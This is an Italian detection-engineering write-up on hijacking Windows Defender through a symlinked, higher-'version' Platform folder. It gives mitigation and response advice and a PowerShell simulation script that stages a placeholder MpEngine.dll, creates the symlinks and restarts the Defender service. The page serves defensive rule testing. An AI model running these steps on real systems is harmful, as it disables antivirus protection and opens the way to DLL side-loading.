Rompere Il Guscio Protettivo Di Windows Defender Con La Tecnica Di Redirect Della Cartella
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
L’articolo dimostra un metodo di dirottamento di Windows Defender che sfrutta il reindirizzamento delle cartelle collocando una directory di collegamenti simbolici all’interno del percorso della piattaforma di Defender e puntandola a una posizione controllata dall’attaccante. Assegnando alla cartella symlink un numero di “versione” più alto rispetto alla directory della piattaforma legittima, Defender potrebbe selezionare il percorso controllato dall’attaccante dopo il riavvio e caricarne i componenti. Questo crea opportunità per il caricamento laterale di DLL, la cancellazione selettiva dei file o addirittura la perturbazione operativa del servizio Defender.
Indagine
Il flusso di lavoro dell’autore copia la cartella attiva della piattaforma Defender in una directory temporanea controllata dall’attaccante, quindi crea un symlink della directory nella posizione della piattaforma (tramite mklink /D) utilizzando un identificatore di versione fabbricato di livello superiore. Dopo un riavvio, si osserva che Defender viene eseguito dalla directory reindirizzata, permettendo manipolazioni successive come il dirottamento di DLL o la rimozione di binari per interferire con l’avvio e la protezione di Defender.
Mitigazione
Riduci il rischio limitando rigorosamente le autorizzazioni di scrittura sulla directory della piattaforma Windows Defender e monitorando la creazione sospetta di collegamenti simbolici o sottocartelle inaspettate in “stile versione”. Implementa controlli d’integrità per i binari di Defender e avvisa sui cambiamenti nei percorsi eseguibili o nel comportamento di selezione della directory della piattaforma. Quando possibile, applica Windows Defender Application Control (WDAC) o politiche di hardening equivalenti per prevenire modifiche non autorizzate nelle posizioni di sistema protette.
Risposta
Avvisa quando compaiono nuove cartelle di collegamenti simbolici sotto C:ProgramDataMicrosoftWindows DefenderPlatform o quando viene utilizzato mklink per puntare a quella directory. Valida l’integrità dei file di Defender e conferma che i binari in esecuzione siano quelli attesi dalla cartella della piattaforma prevista. Se si conferma un manomissione, rimuovi il symlink malevolo e ripristina i file della piattaforma Defender da una fonte affidabile, quindi riavvia i servizi Defender e ri-convalida le protezioni su tutto l’host.
Flusso di attacco
Esecuzione della simulazione
Prerequisito: il Telemetry & Baseline Pre‑flight Check deve essere superato.
Razionale: Questa sezione dettaglia la precisa esecuzione della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta attesa dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.
-
Narrazione d’attacco & Comandi:
L’avversario ha compromesso un account utente a bassa privilegi sul sistema di destinazione. Il loro obiettivo è caricare un payload malevolo quando inizia Windows Defender, reindirizzando la cartella “Platform” di Defender a una posizione che controllano. Eseguono i seguenti passaggi:- Crea una directory di staging (
C:TMPAV) che conterrà le DLL malevoli. - Popola la directory di staging con una DLL creata appositamente chiamata
MpEngine.dll(il nome atteso da Defender). - Crea un collegamento simbolico di directory chiamato
C:ProgramDataMicrosoftWindows DefenderPlatform{random}che punta alla directory di staging, utilizzando sia l’utilità nativamklink(per attivare la regola Sigma) che ilNew‑Itemdi PowerShell (per testare l’evasione della regola). - Riavvia il servizio Windows Defender per forzare il caricamento dal percorso dirottato.
- Crea una directory di staging (
-
Script di test di regressione:
# ============================== # Simulazione di dirottamento cartelle # ============================== $defenderPlatform = "C:ProgramDataMicrosoftWindows DefenderPlatform" $attackerStaging = "C:TMPAV" $linkName = "$defenderPlatformHijackTarget" # 1. Preparare la cartella di staging New-Item -Path $attackerStaging -ItemType Directory -Force | Out-Null # 2. Lascia cadere un dummy DLL malevolo (segnaposto) $dummyDll = "$attackerStagingMpEngine.dll" Set-Content -Path $dummyDll -Value "CONTENUTO DLL MALEVOLO" -Encoding ASCII # 3a. Crea symlink tramite mklink nativo (attivando la regola Sigma) cmd /c "mklink /D `"$linkName`" `"$attackerStaging`"" # 3b. Crea symlink tramite PowerShell (testando l'evasione) $psLink = "$defenderPlatformHijackTarget_PS" New-Item -ItemType SymbolicLink -Path $psLink -Target $attackerStaging -Force # 4. Riavvio del servizio Windows Defender (richiede admin) # Nota: questo passaggio può essere bloccato in un ambiente indurito; incluso per completezza. Restart-Service -Name "WinDefend" -Force -
Comandi di pulizia:
# Rimuovi symlink creati e file di staging $links = @( "C:ProgramDataMicrosoftWindows DefenderPlatformHijackTarget", "C:ProgramDataMicrosoftWindows DefenderPlatformHijackTarget_PS" ) foreach ($l in $links) { if (Test-Path $l) { Remove-Item $l -Force } } $staging = "C:TMPAV" if (Test-Path $staging) { Remove-Item $staging -Recurse -Force } # Ripristina eventualmente la cartella della piattaforma Defender se necessario (non richiesto per la simulazione)